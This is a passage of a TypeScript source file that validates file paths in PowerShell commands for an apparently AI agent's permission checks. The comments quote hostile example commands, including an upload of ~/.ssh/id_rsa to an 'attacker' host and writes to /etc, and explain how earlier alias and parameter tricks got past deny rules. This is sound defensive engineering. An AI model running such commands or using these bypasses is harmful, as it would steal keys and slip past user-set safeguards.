pathValidation.ts 71 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999100010011002100310041005100610071008100910101011101210131014101510161017101810191020102110221023102410251026102710281029103010311032103310341035103610371038103910401041104210431044104510461047104810491050105110521053105410551056105710581059106010611062106310641065106610671068106910701071107210731074107510761077107810791080108110821083108410851086108710881089109010911092109310941095109610971098109911001101110211031104110511061107110811091110111111121113111411151116111711181119112011211122112311241125112611271128112911301131113211331134113511361137113811391140114111421143114411451146114711481149115011511152115311541155115611571158115911601161116211631164116511661167116811691170117111721173117411751176117711781179118011811182118311841185118611871188118911901191119211931194119511961197119811991200120112021203120412051206120712081209121012111212121312141215121612171218121912201221122212231224122512261227122812291230123112321233123412351236123712381239124012411242124312441245124612471248124912501251125212531254125512561257125812591260126112621263126412651266126712681269127012711272127312741275127612771278127912801281128212831284128512861287128812891290129112921293129412951296129712981299130013011302130313041305130613071308130913101311131213131314131513161317131813191320132113221323132413251326132713281329133013311332133313341335133613371338133913401341134213431344134513461347134813491350135113521353135413551356135713581359136013611362136313641365136613671368136913701371137213731374137513761377137813791380138113821383138413851386138713881389139013911392139313941395139613971398139914001401140214031404140514061407140814091410141114121413141414151416141714181419142014211422142314241425142614271428142914301431143214331434143514361437143814391440144114421443144414451446144714481449145014511452145314541455145614571458145914601461146214631464146514661467146814691470147114721473147414751476147714781479148014811482148314841485148614871488148914901491149214931494149514961497149814991500150115021503150415051506150715081509151015111512151315141515151615171518151915201521152215231524152515261527152815291530153115321533153415351536153715381539154015411542154315441545154615471548154915501551155215531554155515561557155815591560156115621563156415651566156715681569157015711572157315741575157615771578157915801581158215831584158515861587158815891590159115921593159415951596159715981599160016011602160316041605160616071608160916101611161216131614161516161617161816191620162116221623162416251626162716281629163016311632163316341635163616371638163916401641164216431644164516461647164816491650165116521653165416551656165716581659166016611662166316641665166616671668166916701671167216731674167516761677167816791680168116821683168416851686168716881689169016911692169316941695169616971698169917001701170217031704170517061707170817091710171117121713171417151716171717181719172017211722172317241725172617271728172917301731173217331734173517361737173817391740174117421743174417451746174717481749175017511752175317541755175617571758175917601761176217631764176517661767176817691770177117721773177417751776177717781779178017811782178317841785178617871788178917901791179217931794179517961797179817991800180118021803180418051806180718081809181018111812181318141815181618171818181918201821182218231824182518261827182818291830183118321833183418351836183718381839184018411842184318441845184618471848184918501851185218531854185518561857185818591860186118621863186418651866186718681869187018711872187318741875187618771878187918801881188218831884188518861887188818891890189118921893189418951896189718981899190019011902190319041905190619071908190919101911191219131914191519161917191819191920192119221923192419251926192719281929193019311932193319341935193619371938193919401941194219431944194519461947194819491950195119521953195419551956195719581959196019611962196319641965196619671968196919701971197219731974197519761977197819791980198119821983198419851986198719881989199019911992199319941995199619971998199920002001200220032004200520062007200820092010201120122013201420152016201720182019202020212022202320242025202620272028202920302031203220332034203520362037203820392040204120422043204420452046204720482049
  1. /**
  2. * PowerShell-specific path validation for command arguments.
  3. *
  4. * Extracts file paths from PowerShell commands using the AST parser
  5. * and validates they stay within allowed project directories.
  6. * Follows the same patterns as BashTool/pathValidation.ts.
  7. */
  8. import { homedir } from 'os'
  9. import { isAbsolute, resolve } from 'path'
  10. import type { ToolPermissionContext } from '../../Tool.js'
  11. import type { PermissionRule } from '../../types/permissions.js'
  12. import { getCwd } from '../../utils/cwd.js'
  13. import {
  14. getFsImplementation,
  15. safeResolvePath,
  16. } from '../../utils/fsOperations.js'
  17. import { containsPathTraversal, getDirectoryForPath } from '../../utils/path.js'
  18. import {
  19. allWorkingDirectories,
  20. checkEditableInternalPath,
  21. checkPathSafetyForAutoEdit,
  22. checkReadableInternalPath,
  23. matchingRuleForInput,
  24. pathInAllowedWorkingPath,
  25. } from '../../utils/permissions/filesystem.js'
  26. import type { PermissionResult } from '../../utils/permissions/PermissionResult.js'
  27. import { createReadRuleSuggestion } from '../../utils/permissions/PermissionUpdate.js'
  28. import type { PermissionUpdate } from '../../utils/permissions/PermissionUpdateSchema.js'
  29. import {
  30. isDangerousRemovalPath,
  31. isPathInSandboxWriteAllowlist,
  32. } from '../../utils/permissions/pathValidation.js'
  33. import { getPlatform } from '../../utils/platform.js'
  34. import type {
  35. ParsedCommandElement,
  36. ParsedPowerShellCommand,
  37. } from '../../utils/powershell/parser.js'
  38. import {
  39. isNullRedirectionTarget,
  40. isPowerShellParameter,
  41. } from '../../utils/powershell/parser.js'
  42. import { COMMON_SWITCHES, COMMON_VALUE_PARAMS } from './commonParameters.js'
  43. import { resolveToCanonical } from './readOnlyValidation.js'
  44. const MAX_DIRS_TO_LIST = 5
  45. // PowerShell wildcards are only * ? [ ] — braces are LITERAL characters
  46. // (no brace expansion). Including {} mis-routed paths like `./{x}/passwd`
  47. // through glob-base truncation instead of full-path symlink resolution.
  48. const GLOB_PATTERN_REGEX = /[*?[\]]/
  49. type FileOperationType = 'read' | 'write' | 'create'
  50. type PathCheckResult = {
  51. allowed: boolean
  52. decisionReason?: import('../../utils/permissions/PermissionResult.js').PermissionDecisionReason
  53. }
  54. type ResolvedPathCheckResult = PathCheckResult & {
  55. resolvedPath: string
  56. }
  57. /**
  58. * Per-cmdlet parameter configuration.
  59. *
  60. * Each entry declares:
  61. * - operationType: whether this cmdlet reads or writes to the filesystem
  62. * - pathParams: parameters that accept file paths (validated against allowed directories)
  63. * - knownSwitches: switch parameters (take NO value) — next arg is NOT consumed
  64. * - knownValueParams: value-taking parameters that are NOT paths — next arg IS consumed
  65. * but NOT validated as a path (e.g., -Encoding UTF8, -Filter *.txt)
  66. *
  67. * SECURITY MODEL: Any -Param NOT in one of these three sets forces
  68. * hasUnvalidatablePathArg → ask. This ends the KNOWN_SWITCH_PARAMS whack-a-mole
  69. * where every missing switch caused the unknown-param heuristic to swallow the
  70. * next arg (potentially the positional path). Now, Tier 2 cmdlets only auto-allow
  71. * with invocations we fully understand.
  72. *
  73. * Sources:
  74. * - (Get-Command <cmdlet>).Parameters on Windows PowerShell 5.1
  75. * - PS 6+ additions from official docs (e.g., -AsByteStream, -NoEmphasis)
  76. *
  77. * NOTE: Common parameters (-Verbose, -ErrorAction, etc.) are NOT listed here;
  78. * they are merged in from COMMON_SWITCHES / COMMON_VALUE_PARAMS at lookup time.
  79. *
  80. * Parameter names are lowercase with leading dash to match runtime comparison.
  81. */
  82. type CmdletPathConfig = {
  83. operationType: FileOperationType
  84. /** Parameter names that accept file paths (validated against allowed directories) */
  85. pathParams: string[]
  86. /** Switch parameters that take no value (next arg is NOT consumed) */
  87. knownSwitches: string[]
  88. /** Value-taking parameters that are not paths (next arg IS consumed, not path-validated) */
  89. knownValueParams: string[]
  90. /**
  91. * Parameter names that accept a leaf filename resolved by PowerShell
  92. * relative to ANOTHER parameter (not cwd). Safe to extract only when the
  93. * value is a simple leaf (no `/`, `\`, `.`, `..`). Non-leaf values are
  94. * flagged as unvalidatable because validatePath resolves against cwd, not
  95. * the actual base — joining against -Path would need cross-parameter
  96. * tracking.
  97. */
  98. leafOnlyPathParams?: string[]
  99. /**
  100. * Number of leading positional arguments to skip (NOT extracted as paths).
  101. * Used for cmdlets where positional-0 is a non-path value — e.g.,
  102. * Invoke-WebRequest's positional -Uri is a URL, not a local filesystem path.
  103. * Without this, `iwr http://example.com` extracts `http://example.com` as
  104. * a path, and validatePath's provider-path regex (^[a-z]{2,}:) misfires on
  105. * the URL scheme with a confusing "non-filesystem provider" message.
  106. */
  107. positionalSkip?: number
  108. /**
  109. * When true, this cmdlet only writes to disk when a pathParam is present.
  110. * Without a path (e.g., `Invoke-WebRequest https://example.com` with no
  111. * -OutFile), it's effectively a read operation — output goes to the pipeline,
  112. * not the filesystem. Skips the "write with no target path" forced-ask.
  113. * Cmdlets like Set-Content that ALWAYS write should NOT set this.
  114. */
  115. optionalWrite?: boolean
  116. }
  117. const CMDLET_PATH_CONFIG: Record<string, CmdletPathConfig> = {
  118. // ─── Write/create operations ──────────────────────────────────────────────
  119. 'set-content': {
  120. operationType: 'write',
  121. // -PSPath and -LP are runtime aliases for -LiteralPath on all provider
  122. // cmdlets. Without them, colon syntax (-PSPath:/etc/x) falls to the
  123. // unknown-param branch → path trapped → paths=[] → deny never consulted.
  124. pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
  125. knownSwitches: [
  126. '-passthru',
  127. '-force',
  128. '-whatif',
  129. '-confirm',
  130. '-usetransaction',
  131. '-nonewline',
  132. '-asbytestream', // PS 6+
  133. ],
  134. knownValueParams: [
  135. '-value',
  136. '-filter',
  137. '-include',
  138. '-exclude',
  139. '-credential',
  140. '-encoding',
  141. '-stream',
  142. ],
  143. },
  144. 'add-content': {
  145. operationType: 'write',
  146. pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
  147. knownSwitches: [
  148. '-passthru',
  149. '-force',
  150. '-whatif',
  151. '-confirm',
  152. '-usetransaction',
  153. '-nonewline',
  154. '-asbytestream', // PS 6+
  155. ],
  156. knownValueParams: [
  157. '-value',
  158. '-filter',
  159. '-include',
  160. '-exclude',
  161. '-credential',
  162. '-encoding',
  163. '-stream',
  164. ],
  165. },
  166. 'remove-item': {
  167. operationType: 'write',
  168. pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
  169. knownSwitches: [
  170. '-recurse',
  171. '-force',
  172. '-whatif',
  173. '-confirm',
  174. '-usetransaction',
  175. ],
  176. knownValueParams: [
  177. '-filter',
  178. '-include',
  179. '-exclude',
  180. '-credential',
  181. '-stream',
  182. ],
  183. },
  184. 'clear-content': {
  185. operationType: 'write',
  186. pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
  187. knownSwitches: ['-force', '-whatif', '-confirm', '-usetransaction'],
  188. knownValueParams: [
  189. '-filter',
  190. '-include',
  191. '-exclude',
  192. '-credential',
  193. '-stream',
  194. ],
  195. },
  196. // Out-File/Tee-Object/Export-Csv/Export-Clixml were absent, so path-level
  197. // deny rules (Edit(/etc/**)) hard-blocked `Set-Content /etc/x` but only
  198. // *asked* for `Out-File /etc/x`. All four are write cmdlets that accept
  199. // file paths positionally.
  200. 'out-file': {
  201. operationType: 'write',
  202. // Out-File uses -FilePath (position 0). -Path is PowerShell's documented
  203. // ALIAS for -FilePath — must be in pathParams or `Out-File -Path:./x`
  204. // (colon syntax, one token) falls to unknown-param → value trapped →
  205. // paths=[] → Edit deny never consulted → ask (fail-safe but deny downgrade).
  206. pathParams: ['-filepath', '-path', '-literalpath', '-pspath', '-lp'],
  207. knownSwitches: [
  208. '-append',
  209. '-force',
  210. '-noclobber',
  211. '-nonewline',
  212. '-whatif',
  213. '-confirm',
  214. ],
  215. knownValueParams: ['-inputobject', '-encoding', '-width'],
  216. },
  217. 'tee-object': {
  218. operationType: 'write',
  219. // Tee-Object uses -FilePath (position 0, alias: -Path). -Variable NOT a path.
  220. pathParams: ['-filepath', '-path', '-literalpath', '-pspath', '-lp'],
  221. knownSwitches: ['-append'],
  222. knownValueParams: ['-inputobject', '-variable', '-encoding'],
  223. },
  224. 'export-csv': {
  225. operationType: 'write',
  226. pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
  227. knownSwitches: [
  228. '-append',
  229. '-force',
  230. '-noclobber',
  231. '-notypeinformation',
  232. '-includetypeinformation',
  233. '-useculture',
  234. '-noheader',
  235. '-whatif',
  236. '-confirm',
  237. ],
  238. knownValueParams: [
  239. '-inputobject',
  240. '-delimiter',
  241. '-encoding',
  242. '-quotefields',
  243. '-usequotes',
  244. ],
  245. },
  246. 'export-clixml': {
  247. operationType: 'write',
  248. pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
  249. knownSwitches: ['-force', '-noclobber', '-whatif', '-confirm'],
  250. knownValueParams: ['-inputobject', '-depth', '-encoding'],
  251. },
  252. // New-Item/Copy-Item/Move-Item were missing: `mkdir /etc/cron.d/evil` →
  253. // resolveToCanonical('mkdir') = 'new-item' via COMMON_ALIASES → not in
  254. // config → early return {paths:[], 'read'} → Edit deny never consulted.
  255. //
  256. // Copy-Item/Move-Item have DUAL path params (-Path source, -Destination
  257. // dest). operationType:'write' is imperfect — source is semantically a read
  258. // — but it means BOTH paths get Edit-deny validation, which is strictly
  259. // safer than extracting neither. A per-param operationType would be ideal
  260. // but that's a bigger schema change; blunt 'write' closes the gap now.
  261. 'new-item': {
  262. operationType: 'write',
  263. // -Path is position 0. -Name (position 1) is resolved by PowerShell
  264. // RELATIVE TO -Path (per MS docs: "you can specify the path of the new
  265. // item in Name"), including `..` traversal. We resolve against CWD
  266. // (validatePath L930), not -Path — so `New-Item -Path /allowed
  267. // -Name ../secret/evil` creates /allowed/../secret/evil = /secret/evil,
  268. // but we resolve cwd/../secret/evil which lands ELSEWHERE and can miss
  269. // the deny rule. This is a deny→ask downgrade, not fail-safe.
  270. //
  271. // -name is in leafOnlyPathParams: simple leaf filenames (`foo.txt`) are
  272. // extracted (resolves to cwd/foo.txt — slightly wrong, but -Path
  273. // extraction covers the directory, and a leaf can't traverse);
  274. // any value with `/`, `\`, `.`, `..` flags hasUnvalidatablePathArg →
  275. // ask. Joining -Name against -Path would be correct but needs
  276. // cross-parameter tracking — out of scope here.
  277. pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
  278. leafOnlyPathParams: ['-name'],
  279. knownSwitches: ['-force', '-whatif', '-confirm', '-usetransaction'],
  280. knownValueParams: ['-itemtype', '-value', '-credential', '-type'],
  281. },
  282. 'copy-item': {
  283. operationType: 'write',
  284. // -Path (position 0) is source, -Destination (position 1) is dest.
  285. // Both extracted; both validated as write.
  286. pathParams: ['-path', '-literalpath', '-pspath', '-lp', '-destination'],
  287. knownSwitches: [
  288. '-container',
  289. '-force',
  290. '-passthru',
  291. '-recurse',
  292. '-whatif',
  293. '-confirm',
  294. '-usetransaction',
  295. ],
  296. knownValueParams: [
  297. '-filter',
  298. '-include',
  299. '-exclude',
  300. '-credential',
  301. '-fromsession',
  302. '-tosession',
  303. ],
  304. },
  305. 'move-item': {
  306. operationType: 'write',
  307. pathParams: ['-path', '-literalpath', '-pspath', '-lp', '-destination'],
  308. knownSwitches: [
  309. '-force',
  310. '-passthru',
  311. '-whatif',
  312. '-confirm',
  313. '-usetransaction',
  314. ],
  315. knownValueParams: ['-filter', '-include', '-exclude', '-credential'],
  316. },
  317. // rename-item/set-item: same class — ren/rni/si in COMMON_ALIASES, neither
  318. // was in config. `ren /etc/passwd passwd.bak` → resolves to rename-item
  319. // → not in config → {paths:[], 'read'} → Edit deny bypassed. This closes
  320. // the COMMON_ALIASES→CMDLET_PATH_CONFIG coverage audit: every
  321. // write-cmdlet alias now resolves to a config entry.
  322. 'rename-item': {
  323. operationType: 'write',
  324. // -Path position 0, -NewName position 1. -NewName is leaf-only (docs:
  325. // "You cannot specify a new drive or a different path") and Rename-Item
  326. // explicitly rejects `..` in it — so knownValueParams is correct here,
  327. // unlike New-Item -Name which accepts traversal.
  328. pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
  329. knownSwitches: [
  330. '-force',
  331. '-passthru',
  332. '-whatif',
  333. '-confirm',
  334. '-usetransaction',
  335. ],
  336. knownValueParams: [
  337. '-newname',
  338. '-credential',
  339. '-filter',
  340. '-include',
  341. '-exclude',
  342. ],
  343. },
  344. 'set-item': {
  345. operationType: 'write',
  346. // FileSystem provider throws NotSupportedException for Set-Item content,
  347. // so the practical write surface is registry/env/function/alias providers.
  348. // Provider-qualified paths (HKLM:\\, Env:\\) are independently caught at
  349. // step 3.5 in powershellPermissions.ts, but classifying set-item as write
  350. // here is defense-in-depth — powershellSecurity.ts:379 already lists it
  351. // in ENV_WRITE_CMDLETS; this makes pathValidation consistent.
  352. pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
  353. knownSwitches: [
  354. '-force',
  355. '-passthru',
  356. '-whatif',
  357. '-confirm',
  358. '-usetransaction',
  359. ],
  360. knownValueParams: [
  361. '-value',
  362. '-credential',
  363. '-filter',
  364. '-include',
  365. '-exclude',
  366. ],
  367. },
  368. // ─── Read operations ──────────────────────────────────────────────────────
  369. 'get-content': {
  370. operationType: 'read',
  371. pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
  372. knownSwitches: [
  373. '-force',
  374. '-usetransaction',
  375. '-wait',
  376. '-raw',
  377. '-asbytestream', // PS 6+
  378. ],
  379. knownValueParams: [
  380. '-readcount',
  381. '-totalcount',
  382. '-tail',
  383. '-first', // alias for -TotalCount
  384. '-head', // alias for -TotalCount
  385. '-last', // alias for -Tail
  386. '-filter',
  387. '-include',
  388. '-exclude',
  389. '-credential',
  390. '-delimiter',
  391. '-encoding',
  392. '-stream',
  393. ],
  394. },
  395. 'get-childitem': {
  396. operationType: 'read',
  397. pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
  398. knownSwitches: [
  399. '-recurse',
  400. '-force',
  401. '-name',
  402. '-usetransaction',
  403. '-followsymlink',
  404. '-directory',
  405. '-file',
  406. '-hidden',
  407. '-readonly',
  408. '-system',
  409. ],
  410. knownValueParams: [
  411. '-filter',
  412. '-include',
  413. '-exclude',
  414. '-depth',
  415. '-attributes',
  416. '-credential',
  417. ],
  418. },
  419. 'get-item': {
  420. operationType: 'read',
  421. pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
  422. knownSwitches: ['-force', '-usetransaction'],
  423. knownValueParams: [
  424. '-filter',
  425. '-include',
  426. '-exclude',
  427. '-credential',
  428. '-stream',
  429. ],
  430. },
  431. 'get-itemproperty': {
  432. operationType: 'read',
  433. pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
  434. knownSwitches: ['-usetransaction'],
  435. knownValueParams: [
  436. '-name',
  437. '-filter',
  438. '-include',
  439. '-exclude',
  440. '-credential',
  441. ],
  442. },
  443. 'get-itempropertyvalue': {
  444. operationType: 'read',
  445. pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
  446. knownSwitches: ['-usetransaction'],
  447. knownValueParams: [
  448. '-name',
  449. '-filter',
  450. '-include',
  451. '-exclude',
  452. '-credential',
  453. ],
  454. },
  455. 'get-filehash': {
  456. operationType: 'read',
  457. pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
  458. knownSwitches: [],
  459. knownValueParams: ['-algorithm', '-inputstream'],
  460. },
  461. 'get-acl': {
  462. operationType: 'read',
  463. pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
  464. knownSwitches: ['-audit', '-allcentralaccesspolicies', '-usetransaction'],
  465. knownValueParams: ['-inputobject', '-filter', '-include', '-exclude'],
  466. },
  467. 'format-hex': {
  468. operationType: 'read',
  469. pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
  470. knownSwitches: ['-raw'],
  471. knownValueParams: [
  472. '-inputobject',
  473. '-encoding',
  474. '-count', // PS 6+
  475. '-offset', // PS 6+
  476. ],
  477. },
  478. 'test-path': {
  479. operationType: 'read',
  480. pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
  481. knownSwitches: ['-isvalid', '-usetransaction'],
  482. knownValueParams: [
  483. '-filter',
  484. '-include',
  485. '-exclude',
  486. '-pathtype',
  487. '-credential',
  488. '-olderthan',
  489. '-newerthan',
  490. ],
  491. },
  492. 'resolve-path': {
  493. operationType: 'read',
  494. pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
  495. knownSwitches: ['-relative', '-usetransaction', '-force'],
  496. knownValueParams: ['-credential', '-relativebasepath'],
  497. },
  498. 'convert-path': {
  499. operationType: 'read',
  500. pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
  501. knownSwitches: ['-usetransaction'],
  502. knownValueParams: [],
  503. },
  504. 'select-string': {
  505. operationType: 'read',
  506. pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
  507. knownSwitches: [
  508. '-simplematch',
  509. '-casesensitive',
  510. '-quiet',
  511. '-list',
  512. '-notmatch',
  513. '-allmatches',
  514. '-noemphasis', // PS 7+
  515. '-raw', // PS 7+
  516. ],
  517. knownValueParams: [
  518. '-inputobject',
  519. '-pattern',
  520. '-include',
  521. '-exclude',
  522. '-encoding',
  523. '-context',
  524. '-culture', // PS 7+
  525. ],
  526. },
  527. 'set-location': {
  528. operationType: 'read',
  529. pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
  530. knownSwitches: ['-passthru', '-usetransaction'],
  531. knownValueParams: ['-stackname'],
  532. },
  533. 'push-location': {
  534. operationType: 'read',
  535. pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
  536. knownSwitches: ['-passthru', '-usetransaction'],
  537. knownValueParams: ['-stackname'],
  538. },
  539. 'pop-location': {
  540. operationType: 'read',
  541. // Pop-Location has no -Path/-LiteralPath (it pops from the stack),
  542. // but we keep the entry so it passes through path validation gracefully.
  543. pathParams: [],
  544. knownSwitches: ['-passthru', '-usetransaction'],
  545. knownValueParams: ['-stackname'],
  546. },
  547. 'select-xml': {
  548. operationType: 'read',
  549. pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
  550. knownSwitches: [],
  551. knownValueParams: ['-xml', '-content', '-xpath', '-namespace'],
  552. },
  553. 'get-winevent': {
  554. operationType: 'read',
  555. // Get-WinEvent only has -Path, no -LiteralPath
  556. pathParams: ['-path'],
  557. knownSwitches: ['-force', '-oldest'],
  558. knownValueParams: [
  559. '-listlog',
  560. '-logname',
  561. '-listprovider',
  562. '-providername',
  563. '-maxevents',
  564. '-computername',
  565. '-credential',
  566. '-filterxpath',
  567. '-filterxml',
  568. '-filterhashtable',
  569. ],
  570. },
  571. // Write-path cmdlets with output parameters. Without these entries,
  572. // -OutFile / -DestinationPath would write to arbitrary paths unvalidated.
  573. 'invoke-webrequest': {
  574. operationType: 'write',
  575. // -OutFile is the write target; -InFile is a read source (uploads a local
  576. // file). Both are in pathParams so Edit deny rules are consulted (this
  577. // config is operationType:write → permissionType:edit). A user with
  578. // Edit(~/.ssh/**) deny blocks `iwr https://attacker -Method POST
  579. // -InFile ~/.ssh/id_rsa` exfil. Read-only deny rules are not consulted
  580. // for write-type cmdlets — that's a known limitation of the
  581. // operationType→permissionType mapping.
  582. pathParams: ['-outfile', '-infile'],
  583. positionalSkip: 1, // positional-0 is -Uri (URL), not a filesystem path
  584. optionalWrite: true, // only writes with -OutFile; bare iwr is pipeline-only
  585. knownSwitches: [
  586. '-allowinsecureredirect',
  587. '-allowunencryptedauthentication',
  588. '-disablekeepalive',
  589. '-nobodyprogress',
  590. '-passthru',
  591. '-preservefileauthorizationmetadata',
  592. '-resume',
  593. '-skipcertificatecheck',
  594. '-skipheadervalidation',
  595. '-skiphttperrorcheck',
  596. '-usebasicparsing',
  597. '-usedefaultcredentials',
  598. ],
  599. knownValueParams: [
  600. '-uri',
  601. '-method',
  602. '-body',
  603. '-contenttype',
  604. '-headers',
  605. '-maximumredirection',
  606. '-maximumretrycount',
  607. '-proxy',
  608. '-proxycredential',
  609. '-retryintervalsec',
  610. '-sessionvariable',
  611. '-timeoutsec',
  612. '-token',
  613. '-transferencoding',
  614. '-useragent',
  615. '-websession',
  616. '-credential',
  617. '-authentication',
  618. '-certificate',
  619. '-certificatethumbprint',
  620. '-form',
  621. '-httpversion',
  622. ],
  623. },
  624. 'invoke-restmethod': {
  625. operationType: 'write',
  626. // -OutFile is the write target; -InFile is a read source (uploads a local
  627. // file). Both must be in pathParams so deny rules are consulted.
  628. pathParams: ['-outfile', '-infile'],
  629. positionalSkip: 1, // positional-0 is -Uri (URL), not a filesystem path
  630. optionalWrite: true, // only writes with -OutFile; bare irm is pipeline-only
  631. knownSwitches: [
  632. '-allowinsecureredirect',
  633. '-allowunencryptedauthentication',
  634. '-disablekeepalive',
  635. '-followrellink',
  636. '-nobodyprogress',
  637. '-passthru',
  638. '-preservefileauthorizationmetadata',
  639. '-resume',
  640. '-skipcertificatecheck',
  641. '-skipheadervalidation',
  642. '-skiphttperrorcheck',
  643. '-usebasicparsing',
  644. '-usedefaultcredentials',
  645. ],
  646. knownValueParams: [
  647. '-uri',
  648. '-method',
  649. '-body',
  650. '-contenttype',
  651. '-headers',
  652. '-maximumfollowrellink',
  653. '-maximumredirection',
  654. '-maximumretrycount',
  655. '-proxy',
  656. '-proxycredential',
  657. '-responseheaderstvariable',
  658. '-retryintervalsec',
  659. '-sessionvariable',
  660. '-statuscodevariable',
  661. '-timeoutsec',
  662. '-token',
  663. '-transferencoding',
  664. '-useragent',
  665. '-websession',
  666. '-credential',
  667. '-authentication',
  668. '-certificate',
  669. '-certificatethumbprint',
  670. '-form',
  671. '-httpversion',
  672. ],
  673. },
  674. 'expand-archive': {
  675. operationType: 'write',
  676. pathParams: ['-path', '-literalpath', '-pspath', '-lp', '-destinationpath'],
  677. knownSwitches: ['-force', '-passthru', '-whatif', '-confirm'],
  678. knownValueParams: [],
  679. },
  680. 'compress-archive': {
  681. operationType: 'write',
  682. pathParams: ['-path', '-literalpath', '-pspath', '-lp', '-destinationpath'],
  683. knownSwitches: ['-force', '-update', '-passthru', '-whatif', '-confirm'],
  684. knownValueParams: ['-compressionlevel'],
  685. },
  686. // *-ItemProperty cmdlets: primary use is the Registry provider (set/new/
  687. // remove a registry VALUE under a key). Provider-qualified paths (HKLM:\,
  688. // HKCU:\) are independently caught at step 3.5 in powershellPermissions.ts.
  689. // Entries here are defense-in-depth for Edit-deny-rule consultation, mirroring
  690. // set-item's rationale.
  691. 'set-itemproperty': {
  692. operationType: 'write',
  693. pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
  694. knownSwitches: [
  695. '-passthru',
  696. '-force',
  697. '-whatif',
  698. '-confirm',
  699. '-usetransaction',
  700. ],
  701. knownValueParams: [
  702. '-name',
  703. '-value',
  704. '-type',
  705. '-filter',
  706. '-include',
  707. '-exclude',
  708. '-credential',
  709. '-inputobject',
  710. ],
  711. },
  712. 'new-itemproperty': {
  713. operationType: 'write',
  714. pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
  715. knownSwitches: ['-force', '-whatif', '-confirm', '-usetransaction'],
  716. knownValueParams: [
  717. '-name',
  718. '-value',
  719. '-propertytype',
  720. '-type',
  721. '-filter',
  722. '-include',
  723. '-exclude',
  724. '-credential',
  725. ],
  726. },
  727. 'remove-itemproperty': {
  728. operationType: 'write',
  729. pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
  730. knownSwitches: ['-force', '-whatif', '-confirm', '-usetransaction'],
  731. knownValueParams: [
  732. '-name',
  733. '-filter',
  734. '-include',
  735. '-exclude',
  736. '-credential',
  737. ],
  738. },
  739. 'clear-item': {
  740. operationType: 'write',
  741. pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
  742. knownSwitches: ['-force', '-whatif', '-confirm', '-usetransaction'],
  743. knownValueParams: ['-filter', '-include', '-exclude', '-credential'],
  744. },
  745. 'export-alias': {
  746. operationType: 'write',
  747. pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
  748. knownSwitches: [
  749. '-append',
  750. '-force',
  751. '-noclobber',
  752. '-passthru',
  753. '-whatif',
  754. '-confirm',
  755. ],
  756. knownValueParams: ['-name', '-description', '-scope', '-as'],
  757. },
  758. }
  759. /**
  760. * Checks if a lowercase parameter name (with leading dash) matches any entry
  761. * in the given param list, accounting for PowerShell's prefix-matching behavior
  762. * (e.g., -Lit matches -LiteralPath).
  763. */
  764. function matchesParam(paramLower: string, paramList: string[]): boolean {
  765. for (const p of paramList) {
  766. if (
  767. p === paramLower ||
  768. (paramLower.length > 1 && p.startsWith(paramLower))
  769. ) {
  770. return true
  771. }
  772. }
  773. return false
  774. }
  775. /**
  776. * Returns true if a colon-syntax value contains expression constructs that
  777. * mask the real runtime path (arrays, subexpressions, variables, backtick
  778. * escapes). The outer CommandParameterAst 'Parameter' element type hides
  779. * these from our AST walk, so we must detect them textually.
  780. *
  781. * Used in three branches of extractPathsFromCommand: pathParams,
  782. * leafOnlyPathParams, and the unknown-param defense-in-depth branch.
  783. */
  784. function hasComplexColonValue(rawValue: string): boolean {
  785. return (
  786. rawValue.includes(',') ||
  787. rawValue.startsWith('(') ||
